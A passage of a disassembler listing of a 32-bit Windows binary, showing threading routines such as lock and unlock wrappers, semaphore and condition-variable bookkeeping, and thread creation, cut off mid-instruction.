sub_401690 add esp, 4 loc_430A6B: ; CODE XREF: sub_4309A0+85j push esi nop call near ptr 77C2C21Bh add esp, 4 xor esi, esi test edi, edi jnz short loc_430AC2 loc_430A7B: ; CODE XREF: sub_4309A0+131j push offset dword_5109A0 call near ptr 7C901005h nop mov dword ptr [esi+18h], 0 mov ecx, dword_5103D0 mov [esi+1Ch], ecx mov eax, dword_5103D0 test eax, eax jz short loc_430AA2 mov [eax+18h], esi loc_430AA2: ; CODE XREF: sub_4309A0+FDj mov eax, dword_5103CC mov dword_5103D0, esi test eax, eax jnz short loc_430AB7 mov dword_5103CC, esi loc_430AB7: ; CODE XREF: sub_4309A0+10Fj push offset dword_5109A0 nop call near ptr 7C9010EDh loc_430AC2: ; CODE XREF: sub_4309A0+D9j mov edx, [esp+10h+arg_0] pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430ACF: ; CODE XREF: sub_4309A0+B7j xor edi, edi jmp short loc_430A7B sub_4309A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430B30 proc near ; CODE XREF: sub_401AA5j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_0] xor esi, esi xor ebp, ebp xor ebx, ebx test edi, edi mov [esp+14h+var_4], ebp jz loc_430CDC mov eax, [edi] test eax, eax jz loc_430CDC cmp eax, 0FFFFFFFFh jz loc_430C93 push offset dword_5109A0 nop call near ptr 7C901005h mov esi, [edi] lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_430B89 call near ptr 77C1F2BCh nop mov eax, [eax] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430B89: ; CODE XREF: sub_430B30+49j lea ebp, [esi+14h] push ebp call sub_401785 add esp, 4 mov [esp+14h+arg_0], eax test eax, eax jz short loc_430BB0 push ebx call sub_40103C mov eax, [esp+18h+arg_0] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430BB0: ; CODE XREF: sub_430B30+6Bj mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jle short loc_430BE9 push ebx call sub_40103C add esp, 4 test eax, eax jz short loc_430BD2 call near ptr 77C1F2BCh nop mov ecx, [eax] mov [esp+14h+arg_0], ecx loc_430BD2: ; CODE XREF: sub_430B30+94j push ebp call sub_4010C3 add esp, 4 mov [esp+14h+var_4], eax mov ebx, 10h jmp loc_430C7E ; --------------------------------------------------------------------------- loc_430BE9: ; CODE XREF: sub_430B30+87j push ebx mov dword ptr [edi], 0 call sub_401690 mov edi, dword_511A70 add esp, 4 test eax, eax jz short loc_430C0A call edi ; _errno mov edx, [eax] mov [esp+14h+arg_0], edx loc_430C0A: ; CODE XREF: sub_430B30+D0j lea eax, [esi+0Ch] push eax call sub_401690 add esp, 4 test eax, eax jz short loc_430C22 call edi ; _errno mov ecx, [eax] mov [esp+14h+var_4], ecx loc_430C22: ; CODE XREF: sub_430B30+E8j push ebp call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_430C3C push ebp call sub_402252 add esp, 4 mov ebx, eax loc_430C3C: ; CODE XREF: sub_430B30+FFj cmp dword_5103CC, esi jnz short loc_430C4F mov edx, [esi+18h] mov dword_5103CC, edx jmp short loc_430C58 ; --------------------------------------------------------------------------- loc_430C4F: ; CODE XREF: sub_430B30+112j mov eax, [esi+1Ch] mov ecx, [esi+18h] mov [eax+18h], ecx loc_430C58: ; CODE XREF: sub_430B30+11Dj cmp dword_5103D0, esi jnz short loc_430C6B mov edx, [esi+1Ch] mov dword_5103D0, edx jmp short loc_430C74 ; --------------------------------------------------------------------------- loc_430C6B: ; CODE XREF: sub_430B30+12Ej mov eax, [esi+18h] mov ecx, [esi+1Ch] mov [eax+1Ch], ecx loc_430C74: ; CODE XREF: sub_430B30+139j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_430C7E: ; CODE XREF: sub_430B30+B4j push offset dword_5109A0 nop call near ptr 7C9010EDh mov esi, [esp+14h+arg_0] mov ebp, [esp+14h+var_4] jmp short loc_430CC2 ; --------------------------------------------------------------------------- loc_430C93: ; CODE XREF: sub_430B30+28j push offset dword_510920 call near ptr 7C901005h nop cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_430CAB mov dword ptr [edi], 0 jmp short loc_430CB7 ; --------------------------------------------------------------------------- loc_430CAB: ; CODE XREF: sub_430B30+171j mov [esp+14h+arg_0], 10h mov esi, [esp+14h+arg_0] loc_430CB7: ; CODE XREF: sub_430B30+179j push offset dword_510920 nop call near ptr 7C9010EDh loc_430CC2: ; CODE XREF: sub_430B30+161j test esi, esi jz short loc_430CCE mov eax, esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430CCE: ; CODE XREF: sub_430B30+194j test ebp, ebp mov eax, ebp jnz short loc_430CE1 pop edi pop esi mov eax, ebx pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430CDC: ; CODE XREF: sub_430B30+15j ; sub_430B30+1Fj mov eax, 16h loc_430CE1: ; CODE XREF: sub_430B30+1A2j pop edi pop esi pop ebp pop ebx pop ecx retn sub_430B30 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430D60 proc near ; CODE XREF: sub_401203j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push eax push ecx call sub_430D90 add esp, 0Ch retn sub_430D60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430D90 proc near ; CODE XREF: sub_430D60+Cp ; sub_431060+19p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 20h push esi mov esi, [esp+24h+arg_0] test esi, esi push edi mov [esp+28h+var_20], 0 jz loc_430E99 mov eax, [esi] test eax, eax jz loc_430E99 cmp eax, 0FFFFFFFFh jnz short loc_430DD2 push esi call sub_401B63 add esp, 4 mov [esp+28h+var_20], eax test eax, eax jz short loc_430DD2 cmp eax, 10h jnz loc_430E9E loc_430DD2: ; CODE XREF: sub_430D90+26j ; sub_430D90+37j mov esi, [esi] lea edi, [esi+10h] push edi call sub_401041 add esp, 4 test eax, eax jz short loc_430DF2 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_430DF2: ; CODE XREF: sub_430D90+52j mov ecx, [esi] push edi inc ecx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_430E12 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_430E12: ; CODE XREF: sub_430D90+72j mov edi, [esp+28h+arg_4] lea ecx, [esp+28h+var_10] push ecx lea edx, [esp+2Ch+var_1C] lea eax, [esp+2Ch+var_20] push offset loc_430F00 push edx mov [esp+34h+var_10], edi mov [esp+34h+var_C], esi mov [esp+34h+var_8], eax mov [esp+34h+var_4], 0 call sub_401663 ; --------------------------------------------------------------------------- dw 0E857h dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 7EE44FE8h dd 8B9077h, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h dd 20C4835Eh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_430E99: ; CODE XREF: sub_430D90+13j ; sub_430D90+1Dj mov eax, 16h loc_430E9E: ; CODE XREF: sub_430D90+3Cj pop edi pop esi add esp, 20h retn sub_430D90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_430F00: ; DATA XREF: sub_430D90+93o push ecx push ebx push ebp mov ebp, [esp+10h] push esi push edi mov esi, [ebp+4] mov ebx, [ebp+8] mov [esp+18h], ebx lea edi, [esi+14h] push edi call sub_402248 add esp, 4 test eax, eax jz short loc_430F2B pop edi pop esi mov [ebx], eax pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F2B: ; CODE XREF: ___:00430F21j mov ebx, [esi+8] test ebx, ebx mov [esp+10h], ebx jz short loc_430F3E lea eax, [ebx-1] mov [esi+8], eax jmp short loc_430FA7 ; --------------------------------------------------------------------------- loc_430F3E: ; CODE XREF: ___:00430F34j mov ecx, [esi+4] inc ecx mov eax, ecx mov [esi+4], ecx cmp eax, 3FFFFFFFh jnz short loc_430FA7 lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_430F72 nop call near ptr 77C1F2BCh mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F72: ; CODE XREF: ___:00430F5Cj mov eax, [esi+4] mov ecx, [esi] sub ecx, eax push ebx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_430F9C nop call near ptr 77C1F2BCh mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F9C: ; CODE XREF: ___:00430F86j mov ebx, [esp+10h] mov dword ptr [esi+4], 0 loc_430FA7: ; CODE XREF: ___:00430F3Cj ; ___:00430F4Cj push edi call sub_4010C3 add esp, 4 test eax, eax jz short loc_430FC0 mov ecx, [esp+18h] pop edi pop esi pop ebp mov [ecx], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430FC0: ; CODE XREF: ___:00430FB2j cmp ebx, 1 jnz short loc_430FE9 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_430FE9 nop call near ptr 77C1F2BCh mov edx, [eax] mov eax, [esp+18h] pop edi pop esi pop ebp mov [eax], edx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430FE9: ; CODE XREF: ___:00430FC3j ; ___:00430FD3j mov ecx, [ebp+0] push ecx call sub_402248 add esp, 4 test eax, eax jz short loc_430FFF mov edx, [esp+18h] mov [edx], eax loc_430FFF: ; CODE XREF: ___:00430FF7j pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431060 proc near ; CODE XREF: sub_4011E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jnz short loc_43106E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43106E: ; CODE XREF: sub_431060+6j mov ecx, [esp+arg_0] push eax mov eax, [esp+4+arg_4] push eax push ecx call sub_430D90 add esp, 0Ch retn sub_431060 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4310A0 proc near ; CODE XREF: sub_401E6Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4310C0 add esp, 8 retn sub_4310A0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4310C0 proc near ; CODE XREF: sub_4310A0+7p ; sub_431220+7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx push esi push edi test eax, eax jz loc_4311C4 mov esi, [eax] test esi, esi jz loc_4311C4 cmp esi, 0FFFFFFFFh jnz short loc_4310E4 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4310E4: ; CODE XREF: sub_4310C0+1Cj lea ebx, [esi+14h] push ebx call sub_402248 add esp, 4 test eax, eax jnz loc_4311C9 mov ecx, [esi+8] mov eax, [esi] test ecx, ecx jz short loc_431134 test eax, eax jnz short loc_431112 loc_431105: ; CODE XREF: sub_4310C0+77j push ebx call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431112: ; CODE XREF: sub_4310C0+43j mov edx, [esp+0Ch+arg_4] test edx, edx jz short loc_431129 mov edi, eax mov dword ptr [esi], 0 add ecx, edi mov [esi+8], ecx jmp short loc_431196 ; --------------------------------------------------------------------------- loc_431129: ; CODE XREF: sub_4310C0+58j inc ecx mov edi, 1 mov [esi+8], ecx jmp short loc_431193 ; --------------------------------------------------------------------------- loc_431134: ; CODE XREF: sub_4310C0+3Fj cmp eax, [esi+4] jle short loc_431105 lea ecx, [esi+10h] push ecx call sub_401041 add esp, 4 test eax, eax jz short loc_431160 nop call near ptr 77C1F2BCh mov esi, [eax] push ebx call sub_4010C3 add esp, 4 mov eax, esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431160: ; CODE XREF: sub_4310C0+87j mov eax, [esi+4] test eax, eax jz short loc_431174 mov ecx, [esi] mov dword ptr [esi+4], 0 sub ecx, eax mov [esi], ecx loc_431174: ; CODE XREF: sub_4310C0+A5j mov eax, [esp+0Ch+arg_4] test eax, eax jz short loc_431189 mov edi, [esi] mov dword ptr [esi], 0 mov [esi+8], edi jmp short loc_431196 ; --------------------------------------------------------------------------- loc_431189: ; CODE XREF: sub_4310C0+BAj mov eax, [esi] mov edi, 1 mov [esi+8], edi loc_431193: ; CODE XREF: sub_4310C0+72j dec eax mov [esi], eax loc_431196: ; CODE XREF: sub_4310C0+67j ; sub_4310C0+C7j push ebx call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_4311BE add esi, 0Ch push edi push esi call sub_402068 add esp, 8 test eax, eax jz short loc_4311BE call near ptr 77C1F2BCh nop mov ebx, [eax] loc_4311BE: ; CODE XREF: sub_4310C0+E3j ; sub_4310C0+F4j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4311C4: ; CODE XREF: sub_4310C0+9j ; sub_4310C0+13j mov eax, 16h loc_4311C9: ; CODE XREF: sub_4310C0+32j pop edi pop esi pop ebx retn sub_4310C0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431220 proc near ; CODE XREF: sub_40160Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4310C0 add esp, 8 retn sub_431220 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431240 proc near ; CODE XREF: sub_40123Aj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ecx push ebx push esi push edi mov edi, 0Bh xor ebx, ebx call sub_401B27 mov esi, eax test esi, esi jz loc_431316 mov eax, [esi+28h] push 0Ch mov [esp+14h+var_4], eax nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jz loc_431316 mov ecx, [esp+10h+arg_8] mov edx, [esp+10h+arg_C] push ebp mov ebp, [esp+14h+arg_4] test ebp, ebp mov [ebx], esi mov [ebx+4], ecx mov [ebx+8], edx jz short loc_4312BE mov eax, [ebp+0] test eax, eax jz short loc_4312BE mov edi, [eax+8] mov eax, [eax+0Ch] mov [esi+20h], eax mov eax, [ebp+0] mov ecx, [eax+10h] mov [esp+14h+var_4], ecx mov ecx, [eax+14h] test ecx, ecx jnz short loc_4312C0 call sub_4012E4 ; --------------------------------------------------------------------------- mov edx, [eax+28h] mov [esp+14h+var_4], edx jmp short loc_4312C0 ; --------------------------------------------------------------------------- loc_4312BE: ; CODE XREF: sub_431240+4Dj ; sub_431240+54j xor edi, edi loc_4312C0: ; CODE XREF: sub_431240+6Ej ; sub_431240+7Cj push esi push 4 push ebx xor eax, eax push offset loc_401BA9 push edi push eax mov [esi+0Ch], eax mov [esi+80h], eax call near ptr 77C3A3DBh nop mov edi, eax add esp, 18h test edi, edi mov [esi+4], edi jz short loc_431309 test ebp, ebp jz short loc_431302 cmp dword ptr [ebp+0], 0 jz short loc_431302 mov eax, [esp+14h+var_4] push eax push 0 push esi call sub_4020D1 add esp, 0Ch loc_431302: ; CODE XREF: sub_431240+AAj ; sub_431240+B0j push edi nop call near ptr 27803ABh loc_431309: ; CODE XREF: sub_431240+A6j neg edi sbb edi, edi pop ebp and edi, 0FFFFFFF5h add edi, 0Bh jz short loc_431349 loc_431316: ; CODE XREF: sub_431240+14j ; sub_431240+30j push esi call sub_4017B7 add esp, 4 xor esi, esi test ebx, ebx jz short loc_43133C push ebx nop call near ptr 77C2C21Bh mov ecx, [esp+14h+arg_0] add esp, 4 mov eax, edi mov [ecx], esi pop edi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43133C: ; CODE XREF: sub_431240+E3j mov edx, [esp+10h+arg_0] mov eax, edi pop edi mov [edx], esi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_431349: ; CODE XREF: sub_431240+D4j mov eax, [esp+10h+arg_0] mov [eax], esi mov eax, edi pop edi pop esi pop ebx pop ecx retn sub_431240 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4313B0: ; CODE XREF: ___:00401343j mov ecx, [esp+8] mov eax, 1 cmp ecx, 3 ; switch 4 cases ja short locret_4313E7 ; default jmp off_4313EC[ecx*4] ; switch jump loc_4313C5: ; DATA XREF: ___:off_4313ECo call sub_401712 ; jumptable 004313BE case 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4313CD: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017BC ; jumptable 004313BE case 2 retn 0Ch ; --------------------------------------------------------------------------- loc_4313D5: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017CB ; jumptable 004313BE case 3 retn 0Ch ; --------------------------------------------------------------------------- loc_4313DD: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017CB ; jumptable 004313BE case 0 call sub_401627 locret_4313E7: ; CODE XREF: ___:004313BCj retn 0Ch ; default ; --------------------------------------------------------------------------- align 4 off_4313EC dd offset loc_4313DD ; DATA XREF: ___:004313BEr dd offset loc_4313C5 ; jump table for switch statement dd offset loc_4313CD dd offset loc_4313D5 db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_431420: ; CODE XREF: ___:004017C1j mov eax, dword_5103C4 push esi push edi push eax call sub_401190 ; --------------------------------------------------------------------------- db 8Bh, 7Ch, 24h dd 83F08B10h, 0F68504C4h, 0E8570A75h, 77808EC7h, 4C48390h dd 7E89016Ah, 99FE814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_431470 proc near ; CODE XREF: sub_401762j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push offset dword_5108E0 xor esi, esi call near ptr 7C901005h nop mov eax, [esp+4+arg_0] test eax, eax jz short loc_43149B mov eax, [eax+4] test eax, eax jz short loc_43149B push eax call near ptr 2770982h nop cmp eax, 7FFFFFFFh jnz short loc_4314A0 loc_43149B: ; CODE XREF: sub_431470+14j ; sub_431470+1Bj mov esi, 3 loc_4314A0: ; CODE XREF: sub_431470+29j push offset dword_5108E0 nop call near ptr 7C9010EDh test esi, esi jnz short loc_4314BC mov eax, [esp+4+arg_4] test eax, eax mov eax, 16h jnz short loc_4314BE loc_4314BC: ; CODE XREF: sub_431470+3Dj mov eax, esi loc_4314BE: ; CODE XREF: sub_431470+4Aj pop esi retn sub_431470 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4314E0: ; CODE XREF: ___:00401654j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz short loc_431531 mov edi, [esp+14h] test edi, edi jz short loc_431531 mov eax, [esi] xor ebx, ebx test eax, eax jnz short loc_431511 lea eax, [esi+4] push eax nop call near ptr 2770917h test eax, eax jnz short loc_431517 call edi ; _errno mov dword ptr [esi], 1 loc_431511: ; CODE XREF: ___:004314F9j ; ___:0043151Aj pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431517: ; CODE XREF: ___:00431507j cmp dword ptr [esi], 0 jnz short loc_431511 mov edi, dword_5118D8 loc_431522: ; CODE XREF: ___:00431529j push 0 call edi cmp dword ptr [esi], 0 jz short loc_431522 pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431531: ; CODE XREF: ___:004314E9j ; ___:004314F1j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431560 proc near ; CODE XREF: sub_4012E4j mov eax, dword_5103C4 push esi push edi push eax call sub_401190 sub_431560 endp ; --------------------------------------------------------------------------- db 8Bh, 0F0h, 83h dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 233EE3Dh, 187C1D8Bh dd 26A0051h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 35E89050h dd 500236ECh, 9050D3FFh, 33EE6AE8h, 5BC08502h, 0E8560E75h dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 0E8510F8Bh, 233F3AAh dd 28468990h, 3C4158Bh, 52560051h, 0FD0B10E8h, 8C483FFh dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_431630 proc near ; CODE XREF: sub_401A64j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jnz short loc_43164E test eax, eax jz short loc_431648 mov eax, [eax] mov edx, [ecx] cmp eax, edx jnz short loc_43164E loc_431648: ; CODE XREF: sub_431630+Ej mov eax, 1 retn ; --------------------------------------------------------------------------- loc_43164E: ; CODE XREF: sub_431630+Aj ; sub_431630+16j xor eax, eax retn sub_431630 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431670: ; CODE XREF: ___:0040200Ej mov eax, [esp+4] test eax, eax jge short loc_43167E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43167E: ; CODE XREF: ___:00431676j mov dword_5103D4, eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4316A0: ; CODE XREF: ___:00401564j mov eax, dword_5103D4 retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4316C0 proc near ; CODE XREF: sub_401B27j push esi call sub_401307 mov esi, eax test esi, esi jnz short loc_4316E2 push 84h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jz short loc_431729 loc_4316E2: ; CODE XREF: sub_4316C0+Aj push 0 push 0 or eax, 0FFFFFFFFh push 1 push 0 mov dword ptr [esi+28h], 0 mov dword ptr [esi+20h], 0 mov dword ptr [esi+30h], 0 mov dword ptr [esi+34h], 1 mov [esi+2Ch], eax mov [esi+24h], eax nop call near ptr 2770000h test eax, eax mov [esi+38h], eax jnz short loc_431729 push esi call sub_401BD1 add esp, 4 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_431729: ; CODE XREF: sub_4316C0+20j ; sub_4316C0+5Aj mov eax, esi pop esi retn sub_4316C0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431750 proc near ; CODE XREF: sub_401307j push esi push offset dword_5108E0 call near ptr 7C901005h nop mov esi, dword_447710 cmp esi, 1 jz short loc_431785 mov eax, [esi+8] push offset dword_5108E0 mov dword_447710, eax mov dword ptr [esi+8], 0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431785: ; CODE XREF: sub_431750+15j push offset dword_5108E0 xor esi, esi nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431750 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4317C0 proc near ; CODE XREF: sub_401BD1j arg_0 = dword ptr 4 push edi push offset dword_5108E0 call near ptr 7C901005h nop mov edx, [esp+4+arg_0] mov ecx, 21h xor eax, eax mov edi, edx rep stosd mov eax, dword_447710 push offset dword_5108E0 mov [edx+8], eax mov dword_447710, edx nop call near ptr 7C9010EDh pop edi retn sub_4317C0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431810 proc near ; CODE XREF: sub_40164Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0FFFFFFFFh push eax call sub_431830 sub_431810 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431830 proc near ; CODE XREF: sub_431810+7p ; sub_431950+Ap var_8 = dword ptr -8 arg_0 = dword ptr 4 sub esp, 8 mov eax, [esp+8+arg_0] push esi push edi mov edi, 1 mov [esp+10h+var_8], eax call sub_4012E4 sub_431830 endp ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jz short loc_431866 mov eax, [esi+30h] test eax, eax jnz short loc_43186E mov eax, [esi+38h] test eax, eax mov [esp+0Ch], eax jz short loc_43186E mov edi, 2 jmp short loc_43186E ; --------------------------------------------------------------------------- loc_431866: ; CODE XREF: ___:0043184Bj mov dword ptr [esp+0Ch], 0 loc_43186E: ; CODE XREF: ___:00431852j ; ___:0043185Dj ... mov ecx, [esp+18h] lea edx, [esp+8] push ecx push 0 push edx push edi nop call near ptr 2760C21h mov ecx, eax sub ecx, 0 jz short loc_4318F9 dec ecx jz short loc_4318A4 sub eax, 102h pop edi neg eax sbb eax, eax pop esi and eax, 0FFFFD8CAh add eax, 274Ch add esp, 8 retn ; --------------------------------------------------------------------------- loc_4318A4: ; CODE XREF: ___:00431889j mov eax, [esp+0Ch] push eax nop call near ptr 278095Eh test esi, esi jz short loc_4318EE lea edi, [esi+2Ch] push edi call sub_402248 mov ecx, [esi+0Ch] mov eax, 3 add esp, 4 cmp ecx, eax jge short loc_4318E5 push edi mov [esi+0Ch], eax mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- add esp, 8 loc_4318E5: ; CODE XREF: ___:004318C9j push edi call sub_4010C3 add esp, 4 loc_4318EE: ; CODE XREF: ___:004318B1j pop edi mov eax, 16h pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_4318F9: ; CODE XREF: ___:00431886j pop edi xor eax, eax pop esi add esp, 8 retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431950 proc near ; CODE XREF: sub_401D84j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_431830 sub_431950 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431980 proc near ; CODE XREF: sub_401C17j arg_0 = dword ptr 4 push esi push offset dword_510940 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_4319B4 push esi push ecx call sub_4021BC add esp, 8 mov esi, eax push offset dword_510940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4319B4: ; CODE XREF: sub_431980+17j test eax, eax jnz short loc_4319BD mov esi, 16h loc_4319BD: ; CODE XREF: sub_431980+36j push offset dword_510940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431980 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4319F0 proc near ; CODE XREF: sub_4021BCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebp xor ebp, ebp push edi test eax, eax jnz short loc_431A04 pop edi mov eax, 16h pop ebp retn ; --------------------------------------------------------------------------- loc_431A04: ; CODE XREF: sub_4319F0+Aj mov edi, [esp+8+arg_4] test edi, edi jz short loc_431A1F mov eax, [edi] test eax, eax jz short loc_431A1F cmp dword ptr [eax], 1 jnz short loc_431A1F pop edi mov eax, 28h pop ebp retn ; --------------------------------------------------------------------------- loc_431A1F: ; CODE XREF: sub_4319F0+1Aj ; sub_4319F0+20j ... push esi push 2Ch push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_431A44 mov edx, [esp+0Ch+arg_0] mov ebp, 0Ch mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_431A44: ; CODE XREF: sub_4319F0+41j test edi, edi mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0 jz short loc_431A60 mov edi, [edi] test edi, edi jz short loc_431A60 mov edi, 